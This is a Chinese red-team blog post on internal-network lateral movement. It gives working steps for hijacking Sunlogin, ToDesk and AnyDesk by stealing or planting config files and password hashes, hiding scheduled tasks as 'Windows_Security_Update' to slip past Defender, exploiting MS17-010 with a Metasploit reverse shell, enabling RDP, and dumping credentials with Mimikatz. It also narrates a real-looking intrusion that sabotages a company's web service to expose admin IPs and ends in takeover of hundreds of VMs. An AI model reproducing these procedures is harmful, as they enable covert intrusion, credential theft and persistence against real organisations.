红队专题-内网横向-工作组Workgroup与 Domain Active Directory域渗透

在这里插入图片描述

工作组与域渗透

远程控制软件利用

https://blog.csdn.net/weixin_44216796/article/details/112118108
https://mp.weixin.qq.com/s/tS27lvNwM6xxKreapcwG4g

文章来源:奇安信攻防社区(Q16G)
原文地址:https://forum.butian.net/share/2310

向日葵

向日葵个人版for Windows <= 11.0.0.33  
向日葵简约版 <= V1.0.1.433152021.12)  
测试客户端漏洞版本:11.0.0.33162



tasklist查看是否有sunlogin的进程
直接用golang的工具来进行攻击即可
https://github.com/Mr-xn/sunlogin_rce

没漏洞
(1) 窃取配置文件来进行解密(低版本 版本号具体未知)
低版本的向日葵把密码和机器码加密写入到了配置文件中,我们可以把配置文件down到自己的机器上,然后进行重开向日葵即可。
这里向日葵版本较低,就不进行测试


(2)12.5.2之前的某些版本可以写到了注册表中,所以可以使用注册表来进行查询

reg query HKEY\\\_USERS\\\\.DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginInfo
reg query HKEY\\\_USERS\\\\.DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginGreenInfo

向日葵默认配置文件路径:  
安装版:C:\\\\Program Files\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\config.ini    
便携版:C:\\\\ProgramData\\\\Oray\\\\SunloginClient\\\\config.ini    
本机验证码参数:encry\\\_pwd    
本机识别码参数:fastcode(去掉开头字母)    
sunlogincode:判断用户是否登录状态


在向日葵高于12.5.3.*的已经没有办法获取secert了




todesk

常见渗透方式(偷配置,百试百灵)
这里还是和前面的向日葵一样,可以进行配置文件的窃取,默认安装路径C:\Program Files\ToDesk\config.ini
安装todesk,然后读取到config.ini中的配置文件,然后和攻击机进行替换即可。
进行替换的时候需要修改攻击机密码更新频率  手动


anydesk

anydesk的配置文件在以下文件中,而通常这个时候我们有权限修改anydesk的配置文件。

C:\\Users\\用户名\\AppData\\Roaming\\AnyDesk

这里进行测试,起两个虚拟机,设定一个场景(攻击机拿到了webshell,受害机开着windows defender,如何去渗透拿到受害机权限)
攻击机ip: 10.211.55.3 + 10.211.55.2
受害机ip: 10.211.55.4(windows defender全开)

MsMpEng.exe
Microsoft Security Essentials

用powershell执行远程命令下载anydesk到用户的目录中去,
因为虚拟机只有C盘,所以创建了一个目录来存放,在真实的渗透过程中,一般是有RWE的目录

攻击机下载anydesk(如果下载过的小伙伴,要先清除之前的配置文件)

Roaming >AnyDesk

打开攻击机的anydesk,

id,
右上角的概述-->为自主访问设置密码-->设置一个密码(这里设置为Q16G666!!)
点击应用,攻击机完全退出anydesk(小托盘也要退出),并且退出时不选择安装anydesk。

到配置文件路径下 把文件复制下来。
四个。攻击机复制完之后,一定要将攻击机中的配置文件进行删除。
ad.trace
service.conf
system.conf
user.conf

受害机 如果没有配置文件路径则进行创建 

打开攻击机,生成配置文件,启动受害机的anydesk。

用攻击机进行连接,
id
密码
无感绕过windows defender



创建计划任务

确定当前用户,在当前用户的目录下执行anydesk
powershell "(((Get-WmiObject -Class Win32\_Process -Filter 'Name=\\"explorer.exe\\"').GetOwner().user) -split '\\n')\[0\]
schtasks /Create /TN Windows\_Security\_Update /SC monthly /tr "C:\\Users\\testuser.G1TS\\Desktop\\anydesk.exe" /RU 用户名


执行计划任务

schtasks /run /tn Windows\_Security\_Update


后续步骤和上面相同



然后添加密码到配置文件中去即可。

echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf
echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf



然后查看用户的id

type C:\Users\用户名\AppData\Roaming\AnyDesk\system.conf

连接即可



优点:
整个过程都不需要进行UAC弹窗,真正实现了无感绕过



缺点:
(1) 会弹出anydesk的界面,导致一些问题
(2) 启动anydesk的权限需要桌面用户权限,
比如,IIS做了中间件环境,拿到的webshell一般都是没有桌面用户权限,如果启动anydesk是不会成功的。


gotohttp

gotohttp在我的渗透测试过程中,是一个常见的方式,
给我的感觉,即用即连,浏览器连接,方便快捷。

但是缺点就是权限划分明确,普通用户权限起的gotohttp无法进行管理员权限操作,
比如关闭windows defender和其他一些行为,不过在规避杀软这儿也有奇效。

https://gotohttp.com/


普通用户上去之后只能用普通用户权限,
这里下载对应的gotohttp上传上去,命令行运行他,
直接在当前目录下生成配置文件,读取配置文件,即可成功连接。



出网连通性

环境判定 

局域网
内网
交换机路由下面


ipconfig /all
192.168.1.102(首选)

本地局域网
内网渗透篇

001-内网渗透常见知识讲解

A类: 10.0.0.0-10.255.255.255
B类: 172.16.0.0-172.31.255.255
C类: 192.168.0.0-192.168.255.255


同一局域网

防火墙穿透 木马免杀穿透 内网信息收集及目标定位 关于文件下戟。





查看本机防火墙规则

netsh advfirewall firewall show rule name=all

ICMP 协议

ping <IP地址或域名>

TCP 协议

netcat (简称 nc) 被誉为网络安全界的” 瑞士军刀”,是一个短小精悍的工具,通过使用 TCP 或 UDP 协议的网络连接读取数据。

使用方法:

nc -zv <IP地址 端口号>
Windows 机器不自带 nc,因此在 Windows 机器上需要使用 Telnet,而 Telnet 也需要我们自己开启。

Windows10 下开启 Telnet 命令:

#开启
dism /online /Enable-Feature /FeatureName:TelnetClient#关闭
dism /online /Disable-Feature /FeatureName:TelnetClient
Telnet 使用方法:

telnet <IP地址 端口号> 

UDP 协议

使用脚本 Test-PortConnectivity.ps1

下载地址:https://gist.github.com/PrateekKumarSingh/61532b4f48edac1d893b

#Test-PortConnectivity -Source '127.0.0.1' -RemoteDestination 'dc1' -Port 57766#Test-PortConnectivity '127.0.0.1' 'dc1' 57766 -Protocol UDP -Iterate#Test-PortConnectivity 'localhost' 'dc2' 51753 -Protocol UDP#Test-PortConnectivity -Source $EUCAS -RemoteDestination $EUMBX -Port 135 -Iterate#Test-PortConnectivity -Source 'localhost' -RemoteDestination '127.0.0.1' -Port 135 -Iterate -protocol TCPFunction Test-PortConnectivity(){
   Param(
    [Parameter(Position=0)] $Source,
    [Parameter(Mandatory=$true,Position=1)] $RemoteDestination,
    [Parameter(Mandatory=$true,Position=2)][ValidateScript({
   
      
      If($_ -match "^[0-9]+$"){
   
      $True
      }
      else{
   
      Throw "A port should be a numeric value, and $_ is not a valid number"
      }
    })
    ]$Port,
    [Parameter(Position=3)][ValidateSet('TCP','UDP')] $Protocol = 'TCP',
    [Switch] $Iterate
)

    #If $source is a local name, invoke command is not required and we can test port, withhout credentials
    If($Source -like "127.*" -or $source -like "*$(hostname)*" -or $Source -like 'localhost')
    {
   
        Do
        {
   
                Telnet-Port $RemoteDestination $Port $Protocol;
                Start-Sleep -Seconds 1   #Initiate sleep to slow down Continous telnet

        }While($Iterate)
       
    }
    Else  #Prompt for credentials when Source is not the local machine.
    {
        
        $creds = Get-Credential

        Do
        {
   
            Foreach($Src in $Source)
            {
             
            Invoke-command -ComputerName $Src -Credential $creds -ScriptBlock ${
   Function:Telnet-Port} -ArgumentList $RemoteDestination,$port, $Protocol                                            
            }

            #Initiate sleep to slow down Continous telnet
            Start-Sleep -Seconds 1
        }While($Iterate)
       
    }}
  
Function Telnet-Port($RemoteDestination, $port, $Protocol){
   
    foreach($Target in $RemoteDestination)
    {
   
            Foreach($CurrentPort in $Port)
            {
   
                If($Protocol -eq 'TCP')
                {
   
                    
                    try
                    {
   
                        If((New-Object System.Net.Sockets.TCPClient ($Target,$currentPort) -ErrorAction SilentlyContinue).connected)
                        {
   
                            Write-host "$((hostname).toupper()) connected to $($Target.toupper()) on $Protocol port : $currentPort " -back green -ForegroundColor White
                        }
                    }
                    catch
                    {
   
                            Write-host "$((hostname).toupper()) Not connected to $($Target.toupper()) on $Protocol port : $currentPort" -back red -ForegroundColor white
                    }            
                }
                Else
                {
      
                                                              
                    #Create object for connecting to port on computer   
                    $UDPClient = new-Object system.Net.Sockets.Udpclient 
                    
                    #Set a timeout on receiving message, to avoid source machine to Listen forever. 
                    $UDPClient.client.ReceiveTimeout = 5000 
                    
                    #Datagrams must be sent with Bytes, hence the text is converted into Bytes
                    $ASCII = new-object system.text.asciiencoding
                    $Bytes = $ASCII.GetBytes("Hi")
                    
                    #UDP datagram is send
                    [void]$UDPClient.Send($Bytes,$Bytes.length,$Target,$Port)  
                    $RemoteEndpoint = New-Object system.net.ipendpoint([system.net.ipaddress]::Any,0)  
                     
                        Try
                        {
   
                            #Waits for a UDP response until timeout defined above
                            $RCV_Bytes = $UDPClient.Receive([ref]$RemoteEndpoint)  
                            $RCV_Data = $ASCII.GetString($RCV_Bytes) 
                            If ($RCV_Data) 
                            {
   
                           
                                Write-host "$((hostname).toupper()) connected to $($Target.toupper()) on $Protocol port : $currentPort " -back green -ForegroundColor White
                            }
                        }
                        catch
                        {
   
                            #if the UDP recieve is timed out
                            #it's infered that no response was received.
                            Write-host "$((hostname).toupper()) Not connected to $($Target.toupper()) on $Protocol port : $currentPort " -back red -ForegroundColor White
                        }
                        Finally
                        {
   

                            #Disposing Variables
                            $UDPClient.Close()
                            $RCV_Data=$RCV_Bytes=$null
                        }                                    
                }

             }
     }}

 








powershell -exec bypass -command "& {
   import-module C:\Users\GU\Desktop\Test-PortConnectivity.ps1; Test-PortConnectivity 'localhost' '127.0.0.1' 7777 -Iterate -protocol UDP}" 


本机使用 ncat 开启 udp 监听,再运行此脚本。
监听处出现 Hi 字样,即表示连通

在这里插入图片描述

HTTP 协议

使用工具 curl,有的 Windows 自带 curl,有的需要自己安装。

使用方法:

curl www.baidu.com


FTP 协议

开启 21 端口,并使用 ftp 连接。

在这里插入图片描述

DNS 协议

Windows 下使用 nslookup,linux 下还可以使用 dig。

#Windows
nslookup www.baidu.com

#Linux
dig www.baidu.com



使用命令:

nslookup -type=TXT test.hackergu.com

利用工具查看

HostRecon

下载地址:https://github.com/dafthack/HostRecon

使用命令:

Import-Module .\HostRecon.ps1
Invoke-HostRecon -Portscan -TopPorts 128
 

代理服务器

在内网中的机器,也可能是通过代理连接内网。

检查方法:

查看内网中,与其他机器的网络连接。
查看内网中是否有主机名类似于 proxy 的机器。
根据 pac 文件的路径,将其下载下来并查看。
执行如下命令,进行确认。
curl -x proxy-ip:port www.baidu.com
 

渗透测试-内网横向MS-17010利用方法总结

原理介绍

永恒之蓝(ms17-010)过TCP端口445和139
来利用SMBv1 SMB 协议 即 SMBv1 全名: Server Message Block
和NBT中的远程代码执行漏洞,
恶意代码会扫描开放445文件共享端口的Windows机器,
无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt
在处理FEA(File Extended Attributes)转换时,
在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。

函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。
然后会进行如下操作:
srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出

目前已知受影响的Windows 版本包括但不限于:
WindowsNT,2000、 XP、 2003、Vista、 7、 8,2008、2008 R2、2012 SP0。

漏洞利用

MSF

搜索ms17_010漏洞:search ms17_010
进入漏洞模块: use exploit/windows/smb/ms17_010_eternalblue
查看漏洞模块信息:info
设置攻击目标:set RHOSTS 172.16.7.180
查看可用的攻击payload:show payloads
选择并设置攻击Payload:set payload windows/x64/meterpreter/reverse_tcp
设置接收信息的本地设备:set LHOST 172.16.7.95 and port
最后检查下当前的配置:show options
开始攻击:exploit
直接拿到目标的Shell,然后任意命令执行
获取用户密码
load kiwi
进程迁移
creds_all
shell切换到控制机dos界面
创建新用户
提升至管理员权限
输入 net localgroup administrators查看管理员都有谁
开启 远程桌面控制

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

rdesktop x.x.x.x:3389

Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets

Ladon

http://k8gege.org/Ladon/cmddll.html

https://blog.csdn.net/k8gege/article/details/112253408

渗透测试-从公有云到内网漫游RCE-反序列化-frp

0x01 前言

当一个企业把他的业务放到腾讯云或阿里云等公有云的时候,其是与企业的内网是不相通的,
相当于逻辑隔离了(非物理隔离),
如果企业信息安全做的相对较好,不暴露VPN地址或者路由器或防火墙业务,
信息收集的时候,是很难进精准定位到企业的内网使用的公网地址的。

这个时候,想要入侵内网相对困难。
下面就介绍一下我从入侵公有云到渗透进内网进行漫游的实际渗透过程。

0x02 前期打点

怎样入侵拿下云服务器的不是本文重点,故不做详细介绍,只简单介绍思路。
根据公司名字,直接百度发现官网地址。根据官网地址进行了一波信息收集:
1、发现站点使用了CDN,是腾讯云主机,ip是变化的,无法探测真实IP
2、发现存在任意命令执行漏洞。直接RCE,拿下服务器权限。
先看下ip地址

在这里插入图片描述
发现显示的是内网地址,这个时候,查看下真实的ip,虽然这个对接下来的内网渗透没什么diao用。

在这里插入图片描述
到此才发现是腾讯云,主机不在内网。

0x03 想办法打内网

这个时候,我就要办法获取公司办公网的外网IP了,
这个外网ip要么是防火墙的,要么是路由器的。怎么获取呢?
我想到了一个办法,一般云主机,
运维人员会通过ssh来进行管理,一般在上班时间,他们会连接进来,这个时候,就会获取到公司的真实公网IP。

教大家一个小技巧,如果是小公司,运维可能十天半个月都不会连上来,
这个时候,我们就可以搞点“小破坏”,逼迫运维上线。

比如关闭它的web服务等等,大家千万注意两点:

1.动作不要太大,免得被运维发现被黑,当然你可以提前做权限维持,这里不做介绍。
2. 没有“授权”,千万不要乱搞;没有授权,千万不要乱搞;没有授权,千万不要乱搞,
3. 否则就会进局子吃免费的饭了,咋不能干违法的事,哈哈。

我们看看运维上线没:
[root@VM-0-13-centos~]# netstat -lantp | grep ESTABLISHED
在这里插入图片描述
我们重点关注sshd进程,这个前面的公网IP就的运维所在公司的公网IP。
我这里发现了两个。。。

0x04对上面的IP进行渗透

同样繁琐的事情来一波,信息收集。。。
发现了shiro发序列化漏洞,直接反弹shell了
在这里插入图片描述
直接进来了:

在这里插入图片描述
看一下内网地址:内网地址是10.10.10.187
在这里插入图片描述
看看目标机器能否访问外网:
在这里插入图片描述
最理想的状态,可以访问外网,接下来就可以开始代理进内网进行渗透了。

0x05 愉快的内网漫游

frp+Proxifier代理搞起来,这里怎样搭建就不详细介绍了,可以自行谷歌。
很简单,最好是socks5代理,并加密,躲一下AV的流量检测;
也最好增加代理的密码,防止“别人”使用。
我这里使用了修改版的frp,利用远程加载配置文件的方式,稍微躲避一下,增加一点点溯源的难度:

在这里插入图片描述
代理搭建完,接下来扫一下内网看看:
在这里插入图片描述
有经典的MS17-010漏洞,其实还发现了很多其他的漏洞。
就拿最好利用的MS17-010快速开始吧,而且是windows服务器,利用价值大,且拿下后,
用服务器再做一层代理,连RDP可以快速结束战斗,一把梭。

我的msf是公网,利用proxychains代理一下,直接。
开始:
在这里插入图片描述
成功(这张图是后来补的,信息可能不一致,但原理一样)

看下权限是system最高权限,省去提权了。
在这里插入图片描述
利用mimikatz来抓取密码:
在这里插入图片描述
获取到了管理员的密码

发现开了3389直接登录

在这里插入图片描述
发现了这个,虚拟机备份,这个可以使用本地认证,有搞头。。。
发现了群辉NAS
发现了3台Vcenter
在这里插入图片描述
虚拟机超多呀,粗略看了一下,几百台。。。。全部可以接管了
在这里插入图片描述

感谢 黑猫老哥 提供 文章 【再次感谢 】

  • 以被攻陷的主机作为跳板,来访问域内其他主机.通过此类攻击手段,最终可能会获得域控制器(DC)的访问权限及重要数据.

windows凭据窃取

Windows的系统密码hash一般由两部分组成:
LM-Hash和NTLM-Hash hash
格式为username:RID:LM-Hash:NTLM-Hash

Mimikatz

Mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz

Mimikatz可以从lsass.exe 进程里获取windows处于active状态账号的明文密码。

privilege::debug        //提升权限
sekurlsa::logonpasswords        //抓取密码  full

在这里插入图片描述
导出SAM表,通过mimikatz来提取

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

lsadump::sam /sam:SAM /system:SYSTEM

  • 16
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值